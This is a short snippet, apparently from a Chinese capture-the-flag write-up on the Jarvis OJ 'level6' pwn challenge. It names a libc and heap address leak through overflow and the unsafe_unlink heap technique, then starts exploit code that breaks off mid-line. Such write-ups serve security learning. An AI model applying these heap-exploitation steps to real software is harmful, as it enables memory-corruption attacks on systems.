jarvis oj level6

原来的附件有点问题,重新发过了. 主要用了两个技术:1.溢出泄露libc地址，heap地址.2.unsafe_unlink,这个how2pwn上unsafe_unlink.c里写的很清楚. 首先看泄露libc地址 New("A"*0x80)#0 New("B"*0x80)#1 Delete(0) New("123") List() c=p.recvuntil('AAAA') leak_addr=u

>>阅读原文<<